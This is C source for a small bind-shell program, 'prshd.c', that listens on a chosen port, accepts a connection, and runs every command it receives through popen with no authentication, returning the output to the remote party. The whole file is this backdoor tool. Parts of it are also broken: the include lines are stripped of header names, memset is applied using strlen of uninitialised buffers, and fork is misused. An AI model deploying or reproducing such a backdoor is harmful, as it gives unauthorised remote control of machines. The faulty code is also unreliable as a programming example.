/* prshd.c v0.03 * Primitive remote shell daemon * By Feky */ #include #include #include #include #include #define BACKLOG 10 #define BUFF 2048 #define COMM_LEN 3 int Seize(int); /* receive and execute commands */ void OmgError(int, char *); /* send error message */ void OmgError(int CSocket, char *Err) { send(CSocket, Err, strlen(Err), 0); } int Seize(int CSocket) { char Get[BUFF], Buff[BUFF]; FILE *sh; int i = 0, x; memset(Get, '\0', strlen(Get)); recv(CSocket, Get, BUFF - 1, 0); x = 0; while(Get[i] != '\0') { if(isprint(Get[i])) x++; i++; } if(x < COMM_LEN) OmgError(CSocket, "Command too short."); else { char Exec[x + 1]; strncpy(Exec, Get, x); Exec[x] = '\0'; sh = popen(Exec, "r"); if(sh != NULL) { memset(Buff, '\0', strlen(Buff)); fread(Buff, 1, BUFF - 1, sh); send(CSocket, Buff, strlen(Buff), 0); pclose(sh); } else OmgError(CSocket, "Failed to execute."); } return 0; } int main(int argc, char *argv[]) { int Socket, CSocket, Port; struct sockaddr_in SAddr, CAddr; socklen_t AddrLen; if(argc != 2) { printf("Usage: %s [port]\n", argv[0]); return 1; } Port = atoi(argv[1]); if(fork() < 0) return 1; /* build stream socket */ Socket = socket(AF_INET, SOCK_STREAM, 0); if(Socket < 0) return 1; SAddr.sin_family = AF_INET; SAddr.sin_port = htons(Port); SAddr.sin_addr.s_addr = INADDR_ANY; /* bind */ if(bind(Socket, (struct sockaddr*)&SAddr, sizeof(SAddr)) < 0) return 1; /* listen carefully */ if(listen(Socket, BACKLOG) < 0) return 1; /* halo? */ AddrLen = sizeof(CAddr); CSocket = accept(Socket, (struct sockaddr*)&CAddr, &AddrLen); while(1) Seize(CSocket); close(CSocket); close(Socket); return 0; }